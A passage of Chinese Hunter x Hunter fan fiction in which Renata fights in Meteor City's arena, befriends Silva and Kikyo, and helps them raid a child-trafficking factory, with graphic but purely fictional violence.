利爪穿透腹部，血液喷涌，喉咙涌上腥甜，蔓延到四肢的痛苦持续了片刻。就是这一片刻打断了她的思绪，蕾娜塔朝后看去，人已经不见了。出现在了她的正前方。
“好样的席巴！”人群再一次欢呼。
糟糕。
她偏头堪堪躲过了席巴的攻击，但耳畔的发丝被削掉了一缕。她把嘴里的血吐出。
席巴又不见了。
再不结束战斗，就要被发现了。
必须速战速决。
蕾娜塔拭去嘴角的血迹，闭眼凝神感受对方的气息。
“她是放弃了吗？”“席巴干掉她。”“小丫头就不要来斗兽场过家家了。”
此刻的空气有一瞬间的凝滞。
就在这里。她伸出手，紧紧抓住了对方的咽喉。
“我、认、输。”对方脸憋得通红，不情不愿地吐出这三个字。
蕾娜塔放手，宣告了比赛的胜负。
“蕾娜塔蕾娜塔蕾娜塔！”人群在叫喊。
蕾娜塔不感兴趣，她捂着腹部装作一瘸一拐的样子跟着指引者去了属于她自己的房间。
席巴静静地跟在后面，眼底闪过一抹探究。
她刚才的动作完全不受伤口影响，但是在腹部被贯穿的时候身体确实僵住了，排除她是训练过的，那么剩下的可能是受伤后痛觉屏蔽，或者她的伤口恢复了。
“你的房间可不是这吧，席巴。”浑身绷带的少女站在走廊口。“还是说你想和我打一架？”说到战斗，少女的身体就止不住的兴奋，看向
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席巴的眼神也变得狂热。
席巴很强，她有预感，他会变得更强，如果和这样有潜力的强者打一架。她简直不敢想象有多幸福。
“是基裘啊，我只是路过。”席巴见识过基裘的难缠，扔下这一句话，他就消失在了走廊。
看来只能下次观察了。
“好可惜呢。”席巴一走，基裘就觉得索然无味。她意味深长地看向蕾娜塔房间的方向。
她可不是看台上的那群杂碎，她和席巴一样发现了蕾娜塔的异常。和这种可怕的恢复能力或者屏蔽痛觉的人对打，是讨不到任何好处的。况且，蕾娜塔根本不懂战斗啊，那股狠劲，完全凭着和动物厮杀的经验决胜的。
指引者把她送到之后，就出去了。奖金已经打到放在桌子上的卡里，药品在房间的抽屉里。呆在房间里的蕾娜塔正打算换下身上被血弄脏的连衣裙。才发现，她没有换洗衣服。
……流星街应该有卖衣服的地方吧？她不确定地想。
把绷带缠绕在腹部几圈，这样应该就看不出来伤口。再把脚步托一下。完美。蕾娜塔美滋滋地推开了门。
转头就看到了基裘正在往这边的方向走过来。
“嗨？”她迟疑地招招手。
“嗯，我是基裘，刚好路过你这。”基裘冷静地回应。
“我是蕾娜塔。”蕾娜塔松了一口气，能打上招呼，看来基裘还是好说话的。“那太好了，正愁不知道怎么走呢。”她求救地看向基裘。“你知道哪里有卖衣服吗？”
“我带你去吧。”基裘视线隐晦地扫过蕾娜塔的腹部。她抬了一下下巴，示意蕾娜塔跟上。
蕾娜塔静静地跟在她后面，观察街道的样貌，心里暗暗记住。
“听说你受伤了，伤口愈合了吗。”基裘状似不经意地提起。
“啊？怎么可能呢，正常人伤口愈合再快，也不可能几个小时就好了吧。”蕾娜塔打着哈哈，眼神躲闪。
“是吗。我只是随口一提。”基裘停下来，指着前方的店铺，回头对蕾娜塔说“到了。”
“好的，”蕾娜塔确认这里的确是服装店后，感激道“谢谢你了基裘。你有什么需要的吗？”
“不用了。我已经得到我想要的了。”基裘走得很快。
“啊？”蕾娜塔不明所以地走进店铺。
这种程度的伤的出血量，嘴唇应该泛白，不可能那么红润。下意识的动作太刻意了。和她想的一样，受创恢复能力很强。
“真是个强悍的能力。”基裘抿唇轻声道。
不知道自己已经暴露的蕾娜塔提着两件衣服，哼着歌回到了自己的房间。
等在斗兽场赚够了钱，她就要走出这个流星街，去周游人类大陆。如果可以逮到东就更好了，让他知道欺骗她的代价。
她沐浴完，换上新买的衣服。原先的连衣裙只要水浸润一下就好了，它会自己修复，可别小看黑暗大陆的植物啊，只不过需要的时间有点久罢了。
蕾娜塔躺上床，关了灯，看向窗外。
流星街的天空被浓墨重重涂抹，月光透过窗户，洒在斑驳的墙壁上。四周的树木异常扭曲，一阵风刮过，枝条像干枯的手臂拍打着窗户。不远处传来几声呜呜的犬吠。
晚安，流星街。
5. 三毛×基裘×小一
为了掩饰腹部的伤口，蕾娜塔向斗兽场申请推迟一天的比赛。念在她第一场战胜的对手是在斗兽场有着“杀手“之称的席巴，主办方欣然同意。
她也借此乔装打扮一番探索流星街的大致情况。
沿着之前基裘带她去的街道方向走。上次她没有走完，还剩下一段距离。看来垃圾山是处于外围的位置。
刚开始的房屋大多数都为平层，越走进去楼层就高起来了。区域划分清晰，还有教堂这样的建筑，有点破烂，但毕竟是流星街嘛。一个牌子还林林总总写了很多规矩，如禁止在斗兽场和垃圾场以外斗殴。内部应该是有管理员这样的存在吧。蕾娜塔想着，拐角就碰到了一家小超市。
店主是个有念能力的女人，愁眉苦脸的，嘴里嘟囔着“小野这孩子到底跑哪里去了呢？红色的衣服这么显眼怎么可能会一下子就不见呢。”
不过有超市真的是太好了。虽然超市里的东西看起来有点陈旧，但味道还不赖嘛。蕾娜塔含入一颗巧克力球。
街道的小孩出奇的少，不知道都去哪玩了。
“喵。”一声猫叫打断了蕾娜塔的思绪。
蕾娜塔循声望去便和一双浅蓝色的竖瞳对上，是一只通体雪白的小猫，尾巴竖直、末端弯起一个小勾。它轻轻跳下围墙，朝着蕾娜塔走来。
好可爱。这就是书上的猫咪吗？
“你也要吃巧克力球吗？”
蕾娜塔蹲下，从口袋里掏出一颗巧克力球，剥开外面的薄锡纸，放在手心。
白猫毫不客气地叼入口中，亲昵地用头蹭着蕾娜塔的手。随后优雅地在她身边转了一圈，朝着巷子的方向走去，时不时回头看她。
这是在邀请她吗？蕾娜塔乖乖地跟着猫咪走。
穿过昏暗的小巷，阳光被层层叠叠的树叶过滤，淡淡的温暖的光晕在黑发的少女身上摇曳。此时风起，蕾娜塔的兜帽被吹落，少女将微乱的发梢别到耳后，转头撞进了蕾娜塔剔透的眼眸。
“是你啊，蕾娜塔。”基裘不自在地移开视线，看向旁边堆成一团的小猫。
白猫爬上围墙，围观小猫们的游戏。
“这些小猫都是你在喂养吗？”蕾娜塔瞥见小猫周边散落的鱼骨头。
“不算吧，”基裘摇头，“小野拜托我喂养几天，说是要去流星街的某个垃圾山探险，小孩子就是爱玩呢。”她感慨一声，站起来拍拍身上的灰尘。“本来我还想去找三毛的，没想到它和你在一起。省了我不少力气。”
“三毛？”蕾娜塔迟疑地看向那只白猫。
“小野那孩子取的啦。不过它性子很高傲，从不亲近小野和我，没想到你受到了它的青睐呢。”基裘余光扫到一旁的三毛。
“喵~”三毛似乎在肯定基裘的话，跳上了蕾娜塔的肩膀。尾巴轻柔地扫过蕾娜塔的脸庞，带起一阵痒意。
“好痒。”蕾娜塔摸摸三毛的头。
“既然三毛回来了，那我也该走了。下午我还有比赛。”基裘面色平静地挥挥手。
“嗯。”蕾娜塔应了一声，基裘身影隐没在巷子里，地上的小猫滚来滚去、相互打闹，“我也要走了哦三毛。”她拍拍肩上白猫的背。
“喵~”白猫伸出粉嫩的舌头舔舔蕾娜塔的脸，爪子深深陷入蕾娜塔的衣服。
“不走吗？那好吧。”蕾娜塔重新戴上兜帽，无奈地叹了一口气。
在附近转了几圈，该回去了。
一路上她都尽量避开人走，再加上夜色已深，顺利地到达了她的房间。开个窗透气的功夫，三毛已经窝在她的床上，尾巴拍拍，表示自己贴心地给她让出了一个位置。
“你这家伙倒是毫不客气。”蕾娜塔笑着别过眼，脱下身上的外衣，倒在床上。
她一伸手，想要撸猫。三毛躲开了。
……？你要跟我的时候不是这样的。
这个时候就开始装高冷了。
一夜好眠。
睡得迷迷糊糊的，蕾娜塔下意识往旁边一捞，没有在身边摸到毛茸茸的触感。睁开眼，只剩下一个浅浅的凹陷，可能是跑出去玩了吧。她揉揉眼睛，打了个哈欠。
写有比赛信息的纸条已经从门缝里面递进来。蕾娜塔捡起来，查看今天的比赛。
下午第一场，还早呢。不过她在纸条上感受到了轻微的陌生念。
写这个东西还要用上念吗？还是说其他的念能力者路过的时候不小心沾上的呢。她摩挲着纸张泛黄的边角思索。斗兽场的念能力者不多，不然没有开念的席巴也不会成为第一了。
继续出去看看吧，找找有什么线索。
啊想起来了，只剩下垃圾山了。蕾娜塔站在垃圾山前面望天，臭气争先恐后地涌入鼻子。几个孩子倒是习以为常，欢快地跑上垃圾山，开始他们的游戏。
对他们来讲，冷冰冰的教堂不如藏有宝藏的垃圾山来的有趣。
蕾娜塔从旁边绕了一圈，发现根本没有小道。没办法，只能忍一忍了。她做好心理准备，踮起脚尖，尽量踩在看起来干净的垃圾上，不被什么液体污渍沾染。
“姐姐，你是初次来到流星街吧。”最后一个落单的孩子跑到她旁边，新奇地看着她。
“嗯。”蕾娜塔专心于避开脚下的污渍，随口应下。
“这个靴子给你吧，我洗干净了，但是发现不合脚，而且没有自己的鞋子穿着方便。”孩子把怀里抱着的靴子递到她面前。
“啊？给我吗？”蕾娜塔看着突然出现的靴子，顺着这双手，看到了一个面色蜡黄的小男孩，迟疑道。
“嗯！”男孩点点头，眼睛如同碧空般澄澈。
“谢谢了，你叫什么名字。”蕾娜塔接过靴子，随口问道。从口袋里掏出一颗巧克力球递给他。
“不、不用了。”男孩吞了吞口水，连连摆手，“太贵重了。”
“没事，给你的谢礼。”蕾娜塔强硬塞入他的手中，抬起手抚摸了一下他的头。
男孩紧紧攥紧手中的巧克力球，前天蕾娜塔一挑三的身姿还在他的脑海久久挥之不去，被摸了头的他有些害羞，小声地说“谢谢姐姐。我叫小一。”
“好的，小一，快跟上吧，不要掉队了。”蕾娜塔对上垃圾山上孩子们的视线。
“好的。再见姐姐。”男孩露出灿烂的笑容，跑向他们的方向。
却被为首的男孩赏了一个暴栗。
“之前就是你说巷子里有什么动静，现在又被一个女人绊住脚步。你是想拖累我们吗。”
“对、对不起。”
“你这家伙只会道歉吗？”
“对…不起。”男孩更小声了。
“……”
蕾娜塔穿
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上靴子，稍微大了一点。有点拖沓但是比蹑手蹑脚好多了，她踏上垃圾上，默默朝着远离孩子们玩那一带开始探索。
降落到流星街外围的大多是废弃的罐头衣物家具书籍之类的，算是另类的资源吧。周围也有不少人在强夺，甚至大打出手。再过去就是化学废料和电子垃圾这些。
在靠近化学废料垃圾堆很角落的位置里，她发现了带着血迹的破损布块，还有一小截指骨，上面残留的恶念和纸条上的如出一辙，看来是被害人反抗对方的时候留下的。
正午时分，影子缩在人下。蕾娜塔看着时候不早了 ，还要参赛，附近也找不出什么东西来。回到斗兽场打算看看还有没有别的线索。
“昨天流星街丢了几个小孩。”
“可能被吃了吧。流浪者不就爱吃人肉嘛。”
“不是，这次连尸骨都没有找到。”
“……”
蕾娜塔在门外就听到了他们的窃窃私语，她一进来，声音就小了许多，挑在靠近窗边的位置坐下。窃窃私语的声音又响了起来。
席巴穿着练功服，一只腿平放、右臂支在曲起的膝盖上、另一只胳膊自然垂落，靠在窗边闭目养神。
基裘没来，下午好像没有她比赛。
蕾娜塔往席巴那边挪了挪。
席巴没反应。
她再挪挪。
席巴：……
“有什么事吗？蕾娜塔。”席巴睁眼转头问她。
他可是还记得这家伙在斗兽场上逼得他不得不认输。
“那天你的手是怎么回事。”蕾娜塔目光落在席巴有着不少茧子的白皙的手上。
“你说的是这个吗？”席巴的指甲立刻变长，肌肉向后退去，变成了尖利的爪，然后突然伸到蕾娜塔的面前张开“我们家的暗杀术之一。”
原本想要吓唬蕾娜塔的，但对方完全不为所动。
“好神奇。”蕾娜塔戳戳他的指甲，不小心被戳破了皮，流出了殷红的血珠，她下意识把手指缩了回去，不想让席巴看见。
这点小动作完全逃不过席巴的眼睛。
“你的能力是愈合吗？”席巴视线一沉，用只有两个人听得到的声音说道。
“只是好的快——”
“不要骗我哦，我发现了。”天蓝色的眼眸坚定又认真地倒映着她的脸。
蕾娜塔刚出声就被席巴打断，她微微瞪大了双眼，惊讶地看向席巴。
“你的下意识反应出卖了你。蕾娜塔完全没有和人战斗过吧。”席巴撇撇嘴，看向窗外，虽然输给这家伙很不爽就是了。
他回忆起那天的战斗细节，接着又补充道“就算是我没有注意到这些，蕾娜塔也上当了呢，我刚刚只是试探问一句，你的表情就交代了一切。”
“…好厉害啊席巴，不愧是斗兽场的杀手。”蕾娜塔想不出任何反驳的理由，干巴巴道。
席巴偷偷关注着少女的表情。见她嘴角耷拉，情绪低落下来，他装模作样咳了一声，“看在你打赢我的份上，我就勉勉强强教你几招吧。”
蕾娜塔的眼睛一下子就亮起来了。
交个朋友也不难嘛。席巴想。
“五号准备比赛。”指引人过来通知。
“晚上，七点，小树林见。”
蕾娜塔眨眨眼，走向通道。
6. 基裘×受伤×小猫
“蕾娜塔，想不到吧，我得到了高人相助。现在我要让你知道那天无视我的代价，让你在这里求生不能，求死不得。哈哈哈”
蕾娜塔无趣地看着眼前带着抓伤的刀疤脸男人把念紧紧缠绕在身体上，大言不惭。还挑衅地冲她吹口哨，做出了下流的手势。
看到刀疤脸男人的念，她就认出来是附着在纸条和指骨上的那道念。原来他就是那道念的主人吗。短短一天他就学会了念？不太可能吧。还是其他念能力者的念能力？
不过他的话好多啊。
看台上的人群沸腾，呼喊着刀疤脸的名字。
“基裘那个烂货在巷子里被我打倒还不可置信哈哈哈，那群小猫我也当着她的面一个一个折磨过去。太爽了哈哈。还不知道蕾娜塔你的滋味是什么样呢。”刀疤脸男人奸笑着拿着匕首冲上来，另一只手朝蕾娜塔放出了念弹。
他想激怒蕾娜塔。
打碎她和基裘一样高高在上看不起他的表情。
一个两个臭女人，凭什么不把他放在眼里。
蕾娜塔面色无动于衷，没有被他激怒。轻松躲避他的攻击，以巧妙的角度躲过了刀疤脸的念弹。
“死女人，运气这么好。”刀疤脸男人啐了一口，又冲上来。使了一个假动作，让蕾娜塔误以为他要攻击她的腹部，实际上用右手钳住蕾娜塔的手臂，大腿缠住蕾娜塔的脖子，左手释放念弹，准备麻醉蕾娜塔的神经。
他可要好好地折磨蕾娜塔，让她清醒地看着自己被肢解，感到绝望和恐惧。来报休息室让他丢脸的仇。
“哈哈哈蕾娜塔仔细品尝这痛苦的滋味吧。哈哈哈。”
念弹已经打入蕾娜塔的身体了，接下来他完全可以预料。他的仇恨，她的痛苦哈哈哈哈哈哈哈哈。
“咔嚓。”左手传来一阵剧痛，接着是大腿被折断，扭成了不自然的姿势。
预想到的画面没有出现。蕾娜塔神智清明，完全不受念弹的干扰。
为什么为什么为什么。他倒在地上，瞳孔艰难地聚焦，惊恐地看着蕾娜塔朝他走来。她为什么没有被麻醉，为什么为什么。不可能、不可能！！
她不应该像基裘一样瘫软无力吗？
那个人不是说什么都可以麻醉吗。为什么她不可以！？？
念的熟练度不高啊，怎么可能短短一天就开发出自己的念能力了。蕾娜塔边想边走向刀疤脸男人。
“基裘在哪里。还有你这个念能力从哪个人那来的。”她问道。
“怪物，你这个怪物。”刀疤脸男人的声音止不住的颤抖，他摇着头，痛苦地用剩下的一只手和一只机械腿不停地后退，在地面拖出了血痕。
他还不想死。
刀疤脸突然想到了什么，他张开嘴。
“我、我认—”
世界天旋地转，刀疤脸的头在空中转出了一个漂亮的弧度，重重地砸在地上。
“哎呀，不小心用力过猛呢。”
得不到答案就算了。
死前最后的画面是蕾娜塔微笑着道歉，就像不小心踩到蚂蚁那样。
丝毫不在意生命。
这、这个恶魔！！！
他的视野陷入黑暗。
“蕾娜塔！！！”人群高喊。
蕾娜塔凭借多年黑暗大陆掐头去尾的经验，完美的没有让一滴血沾到自己。
她站起来，面色平静地走出这个生与死的牢笼。把人们的呼喊抛在脑后。
基裘不知道被这个家伙弄到哪里去了。她要去找基裘，好歹人家也是帮过她的。至于刀疤脸口中的高人不急着找。
抱着一丝期待，她来到了那条巷子。血腥味扑面而来。横七竖八地躺着几只小猫的尸体，靠近墙壁的地方还有一大坨血迹。
已经干涸了。
正当她思考着怎么开始寻找。
“喵。”消失了半天的三毛不知道从哪个草丛里蹿出来，跑在蕾娜塔的前头，为她带路。
这小家伙倒是敏感。
绕过一条条小径，拨过枝叶。蕾娜塔看到了一个集装箱，紫藤垂在门前，门口挂着风铃，下面放着猫窝。显然被它的主人很用心的装扮过。
没走几步，三四只小猫团团围在她的脚边喵喵叫。和上次见到的几只很像，是幸存下来的。
蕾娜塔推开门，带起阵阵风铃声。
地上躺着昏迷的基裘，她缩成一团，身上绽放着血花。精孔被打开了，浑身的气都在流出。再不控制外流的气，她会因为精力枯竭而死。
真可怜呢。
蕾娜塔小心地把她抱到床上，替她掖好被子。坐在床边观察基裘的情况，右手抚上她的额头。基裘浑身滚烫，看样子还在发烧。
“水。”她的嘴巴微张，声音沙哑。
“我去给你拿水。”蕾娜塔刚站起身，就被基裘紧攥手腕。
“不要抛弃它…妈妈…这是我的小猫…不、不要…”基裘眉头皱起，陷入梦魇之中。
蕾娜塔试图挣脱，但又怕不小心伤到基裘。她无奈地转过头，“三毛，这里有药物吗？”
三毛不动。
“你的意思是没有吗？是，就转圈。不是就坐着。”
三毛转了个圈。
“那水呢。”
三毛又转了个圈。
“……你知道怎么办吗？”蕾娜塔看着三毛。
三毛睁着大眼睛和她对视。
蕾娜塔率先败下阵，转头看向床上昏迷不醒的基裘。
“那我只能试试了…”
变成什么样可不关她的事，她可是救了人的。
基裘见到了自己的小猫。
那雪白的皮毛被扒下作为取暖的一部分。她的猫儿在锅里咕噜噜地冒着泡。肉和骨在纠缠中分开再散开。
她忍不住干呕，却什么也吐不出来。
他们已经好几天没有吃过东西了。有的人为了争夺尸体大打出手。
她的母亲把那肉汤端到她面前，被她强烈拒绝。
“你该庆幸你吃的不是人肉。”她的母亲恶狠狠地说。
瘦小的她被按在地上，无力挣扎。冷掉的肉汤强行灌入喉咙。眩晕感不断传来，她的世界一片黑暗。
腥甜在她的口腔里弥漫，她被迫咽下。
“她……怎么办？”“……会好吧。”
迷迷糊糊中她听到了不成句的字眼，又沉入了深深的黑暗。
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“喵。”
再见了，她的小猫……
清晨的阳光刺激着基裘的眼睛，她已经很久没有好好的睡过了。
手边趴着一个沉甸甸的东西，她看过去，发现是蕾娜塔。
“啊，基裘你醒了，昨天可真是太危险了。”蕾娜塔感受到身下人的动静，她坐起来，她打了一个哈欠，泪花在眼角打转。
“你快试试控制你身上的念，不知道好不好用。”
“念？”
“就是你昨天身上流动的透明的东西啦。你把它聚在手指尖，想象像子弹一样发射它。”
基裘抬手，墙壁瞬间被打出了一个孔。
“看来基裘掌握的很好呢。等你有空了回斗兽场的房间找我，再用水见式测测你的念系吧。”
“好。”基裘开始打量起她身上的伤，居然好的七七八八了，就算是她的体质再好，也不可能这么快。
况且她基本上不怎么来这里，所以这里也没有药和水。
“谢谢你了。”她的神色复杂，向蕾娜塔谢道。
“不用了，算是答谢那天在休息室吧。”蕾娜塔笑笑站起来，走出集装箱，揉揉手腕。
她总觉得忘了什么。
基裘昨天晚上一直乱动，可偏偏一直拉着她的手腕，她的觉都睡不好。三毛这家伙倒是躲得远远的，睡得香。
她绕着昨天的路回去。
走着走着她发现这路怎么和昨天的路不一样了。
她周围看了一圈，抬头看到不远处是一个废弃的工厂。周边种满了大树，把工厂遮的严严实实。
她没来过这。
呃…她应该说什么。流星街的工厂那么隐蔽吗？她上次都没发现。
蕾娜塔还看见有五个念能力者在这里站岗。大门口两个，后门两个，还有一个巡逻。
流星街这种地方还有什么宝贝要念能力者守护吗？
不会是什么破烂吧。
蕾娜塔对寻宝不感兴趣，她只想快点回她的房间休息。
但是她怎么绕，她都找不到回去的路，甚至来时的方向她也找不到了。
蕾娜塔：……
“你说这工厂里是啥啊。需要那么多猎人看着。”站在门口的男人好奇道。
“谁知道呢，我们只要看好这里不让人进去就行了。”他的同伴并不在意。
“那个大叔，我迷路了，可以告诉我怎么去流星街街道吗？”蕾娜塔朝着工厂的方向走了几步，门旁的男人就注意到她了。
原因无它，蕾娜塔的前方什么遮挡物也没有。肉眼就可以看见。
一丝怪异的感觉从心中升起，他和同伴对视一眼，看蕾娜塔只是个小姑娘，没什么杀伤力，就好心地给她指了位置。
“朝右走200米在分叉口选左，直走400米就到了。”
蕾娜塔暗暗记下，朝着他指的方向走。
“咕噜噜。”
不知道哪里来的巧克力球被她踩到，看包装和她吃的牌子是一样的。
不过上面带着血，滚出了一道血痕。
然后停在了那里，旁边落下一片阴影。
她沿着痕迹看过去。
7. 工厂×席巴×小一
蕾娜塔对上了深蓝色的瞳孔。
“是你啊席巴，你怎么也在这。这巧克力球你的？”她一顿。
这么一说，她好像昨天晚上和席巴约定好了要在小树林见面。
席巴双手抱在一块，不说话，只是淡淡地瞥了一眼她。
“！！对不起啊席巴，昨天晚上有事耽搁了。”蕾娜塔双手合十，一脸恳切。
这家伙还是记得的嘛。
席巴装模作样的沉默了一会，开口道。
“最近流星街的小孩大部分不见了。我怀疑人贩子和流星街管理层有勾结。过来看看有什么线索。”
他的母亲也是流星街的管理层之一。流星街不少管理层背地里和□□有勾结。她很早就想给流星街洗牌了。所以趁这次试炼顺带解决。
蕾娜塔顺着他的视线看向工厂。
“你是说这个工厂是人贩子的据点？”
“嗯。有个拿巧克力球的小孩被拐了，我顺着细微痕迹找到这。巧克力球就是那小孩掉的。”
蕾娜塔仔细看向那颗巧克力球，上面不止带着血迹，还有些化开的巧克力。原本的球形微微变扁。
看的出来这个小孩很珍惜这个巧克力球，哪怕被人贩子抓走，也一直紧紧攥在手心，直到最后。
她脑海里浮现出垃圾场那个害羞的小男孩，也是这样紧紧攥着巧克力球。
当时只是出于礼貌问了他的名字。
他叫什么来着。
“救命！！”
工厂里突然跑出一个男孩，朝着他们的方向，后面还追着两个男人。
男孩断了一只手，脸上满是血污。
“这批货真难搞。”跑在后面的男人抱怨道。
“别废话了，再不追上就跑远了。”另一个男人拿枪瞄准。
蕾娜塔和席巴站在树后观察情况。
男孩大喘着气，胸口剧烈起伏，他快跑过来了。
她撞上男孩的视线。
男孩的眼睛亮了亮，随后又黯淡下来，无声地做出口型。
快、跑。
“嘭。”
男孩的腿被子弹穿透，整个人钉在地上。
他对着蕾娜塔勉强挤出了一个安抚的笑容后，不再看向她。隐隐和垃圾场那个羞涩的小男孩的笑容重合。
她想起来了。
他叫小一。
“这臭小子真会跑。”男人走到他旁边踢了几脚。“让你跑、让你跑。”
小一倒在地上浑身抽搐。
“别踢了，货不好老大会骂我们的，再说流星街本来就没多少货。”后面走过来的男人说话了。
“嘁。”男人没再踢，提起小一的双腿，把他拖回了工厂。
“小猫又跑了？”刚才给蕾娜塔指路的猎人看向男人手里提的男孩。
“嗯，难抓。”
“流星街的小猫没几个，难抓也应该的。”猎人宽慰道。
提着小一的男人没说话，进了门。
“对方有改变认知的念能力者，不然猎人是不会接下人贩子的活的。先杀掉那个念能力者，猎人就不会攻击。”席巴开口，余光打量着蕾娜塔的神色。
他注意到了那个男孩的异常。应该是认识蕾娜塔的人。
“你打算什么时候动手？”
蕾娜塔神色淡淡，嘴唇微抿，看不出情绪，呼吸频率正常。
地上的巧克力球也不知道滚落到哪里去了。
“晚上。”
“那我先走了，我还要回去睡觉。”
巷子里的血迹已经清理干净。她抬头看了一眼天空。
阳光被云朵遮挡的严严实实。
看来不是个好天气呢。
蕾娜塔去超市买了点吃食和一把伞回到了斗兽场。
等她下午打完，基裘已经在门口等待了。
“你来了。”她推开门，拉开椅子，招呼基裘坐下。从洗浴室拿出灌水了的杯子，窗边择了一片树叶放进去。
“试试吧基裘。双手放在杯子旁边，用你的念来激发。”
基裘的手放在水杯旁，念注入杯中。
杯中的叶片缓缓移动。
“基裘是操作系呢。可以用念操控你想操控的东西。”蕾娜塔撑着下巴看着基裘若有所思的模样。
“喵。”白色的身影扑向蕾娜塔。
“三毛来啦。”蕾娜塔稳稳接住，把它抱在怀里。“你这家伙又去哪里了。”她戳戳三毛的脑袋。
“喵~”三毛的尾巴轻轻扫过蕾娜塔的手臂。
“最近流星街孩子少了很多，蕾娜塔有发现什么异常吗？”基裘看着蕾娜塔撸猫。
“藏着人贩子的废弃的工厂算吗？”蕾娜塔没抬头。
“废弃工厂？”
基裘墨色的眼眸晦暗不清。
她找了很久一直没有找到。
“对啊就在你家附近那一块吧？当时迷路了就看到了。席巴也在调查哦。说不定你们还可以成为搭档呢。”
“……”
“好了我要睡觉了哦。”
蕾娜塔丝毫不在意基裘的沉默。她摆摆手。
基裘识趣的走出了房间并带上了门。在转弯角碰到了席巴。
“什么时候。”
“晚上。”
“你一个人可以解决吗？”
“有点棘手吧。”
“我帮你解决外面怎么样。”
“成交。”
擦肩而过的瞬间达成了合作。
窗外的闪电劈下，照亮两个人的脸。
在这个等待阶段，基裘去问问其他的念能力者如何更加熟练操控念。
空气中弥漫潮湿热气，在人的皮肤上覆盖一层薄膜。树木阴沉沉地压着土地。
蕾娜塔躺在床上翻来覆去。
她睡不着。
太闷了。
连带着心也变得压抑起来。
就像融化的巧克力、沉默的笑容。
轻而易举的消失了。
她盯着天花板，上面的墙皮摇摇欲坠。
随着一声巨响，雨水就一股脑地泼下来。
下雨了。
席巴和基裘现在已经成功潜入了吧。
那她要不要去看看呢。
窗外的雨珠落成密密麻麻的线。
“喵。”
三毛咬着她的衣角拖向门口。
“你要让我去找他们吗？”
三毛转了个圈。
“这可是你说的哦。”蕾娜塔抱起它，拿上一旁的伞。
这个时候又愿意让她小小地摸一下了。
雨点噼里啪啦地在伞面上跳跃、滚落。
席巴无声地跳到念能力者的身后，准备掏出他的心脏。
下一秒他的视线里充满小猫。
气味也变得相同，从气息上无法判断念能力者的位置。
有只小猫从他的右上方滚落，掉在他的脚边。
他听到了基裘的一声闷哼。
“六点方向。50米。”
他朝着基裘说的方向攻击。
“五点方向，10m。三点钟方向还有一个可以麻醉神经的念能力者。”
基裘一边强忍着眩晕感和敌人搏斗一边给席巴报位置。
不知道是喝了蕾娜塔的血还是同是操作系的缘故，操作系念能力者对她的控制大大减少。
基裘闪身又躲过一次攻击。
“麻醉的念能力者在你背后。幻觉的念能力者在你右手边。”
席巴掏出幻觉念能力者的心脏，就快速地往旁边躲闪。
但是还是晚了一步。
麻痹从手臂开始蔓延。
基裘那边快撑不住了。
门口的猎人也因为控制的
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副作用昏睡过去，不知道什么时候苏醒，帮不上什么忙。
管家在暗处躲着，只有危及席巴生命的时候才会出现。
但基裘就不一定了。
席巴咬牙，试图摆脱控制。
念能力者毫不犹豫地朝席巴腹部打去。
一拳又一拳。
全身仿佛被撕裂开来，席巴一声不吭。
雨丝像雾一样轻，从工厂屋顶的大洞飘进来，朦胧他的眼。
就在对方要朝他的心口攻击时。
那个念能力者的脖子后附上了一只手，只是轻轻用力，他的头颅就消失不见。
“太好了，赶上了呢。”
周遭一切仿佛静止，银辉从洞口洒落，少女从阴影处走出，鸽血红的眼眸明亮璀璨。
天晴了。
席巴猝不及防对上了她的视线。
他没想到她会来。
“现在是晚上七点，我来了。”
念能力者的念量很少，蕾娜塔归结为被席巴消耗了。
三毛跳下蕾娜塔的肩膀，亲昵地蹭蹭席巴的脸。
“好你个三毛喜新厌旧！！”蕾娜塔眉毛上挑，指着三毛毫不客气地骂道。
“喵喵喵。”趴在他怀里的猫激动地叫了起来，在为自己辩解。
念能力者一死，席巴身上一阵轻松。
他看向后方，横七竖八倒了一片尸体，都是被拧断脖子。
只留下一个活口，被基裘压着。
接下来只要审讯他的上头和被拐卖孩童的去处就可以了。
他来的迟了，人贩子已经把孩子们转移了，在地下室只有被肢解的尸体。
好像还有基裘要找的小野。
蕾娜塔转了一圈，对这些尸体的死法很满意，没有一滴血溅到她身上。
席巴站起来，朝着活口走去，他的目的在场的两人都明白。
基裘沉默地走进地下室，不一会抱出用布包住的东西走出工厂。
蕾娜塔坐在树干上，拿着一颗巧克力球放入嘴中，双脚轻快地晃动，脑子里突然闪出一个人。
原来是他啊。
“蕾娜塔走出流星街后去哪里呢。”地上的水坑倒映出基裘模糊的脸，一旁沉默的基裘突然开口。
“我吗？随便走走吧顺便找人。一个人去哪都方便。”
“真好呢。”基裘喟叹一声，视线落到手里的布包，手指因为用力而泛白。
席巴审讯结束走出工厂，三毛趴在他的肩头。
那个人招供的流星街管理层和他想的一样。只不过关于孩童的去向，他被下了禁制，吐出王子两个字就自爆了。
喜爱人体的王子范围很大，就要一个一个排了。
揍敌客对这个不感兴趣，不多做任务以外的单子。
见席巴出来，蕾娜塔就跳下树干，走向席巴。
“你认识杰格·揍敌客吗？”她打量着席巴与他相似的眉眼。
好不容易才想起来的呢。
“是我的爷爷，不过他消失很久了。”席巴压下眼底的诧异，冷静地看着蕾娜塔。
知道揍敌客面貌的人可不多。
非友即敌。
“他是你爷爷了吗？完全看不出来啊！三四十岁就当爷爷了吗？”蕾娜塔微微瞪大眼睛，在席巴身边转了一圈，里里外外看了个遍。“你才十几岁吧。东也没说繁殖那么快啊。”
蕾娜塔跳脱的反应出乎他的意料。
不、不对。揍敌客一般在二十多生下第一个孩子。年龄完全对不上。
一个猜测在他心里形成。
“你不会是什么老怪物吧。”席巴借着玩笑试探，脸上的表情似笑非笑。
蕾娜塔赏给他一个暴栗，席巴没躲过，结结实实地挨下。
“好痛。”
“你这家伙好不礼貌。年龄可是女孩的秘密。”
8. 对战×杀手×搭档
蕾娜塔的身手很好，身体素质优秀。在判断对方的攻击上缺乏一些经验。
不过对蕾娜塔来讲，绝对的实力之下，这些经验只是微道不足的小瑕疵。她本人不是很在意。
但对某些人来讲足够了。
他之前调查过她，她是突然出现在流星街的。除了这点，资料库查不到她的任何信息。
这对灰色地带的流星街来说，正常又不太正常。
“不要看对方的假动作。观察对方的攻击目的。”
席巴压下心头那点疑惑，耐心地指出蕾娜塔对战时的疏漏，并给予杀手的专业指导。
蕾娜塔的学的很快，几下就把基裘的招式拆解。再根据基裘的招式猜攻击意图。
基裘逐渐落于下风。
“打的很痛快。”基裘喘着气退后一步，擦掉嘴角的血，眼睛发亮。
“好了，就这样吧。”席巴结束了这场训练。
蕾娜塔收手，基裘走到一旁拿起水杯喝水。
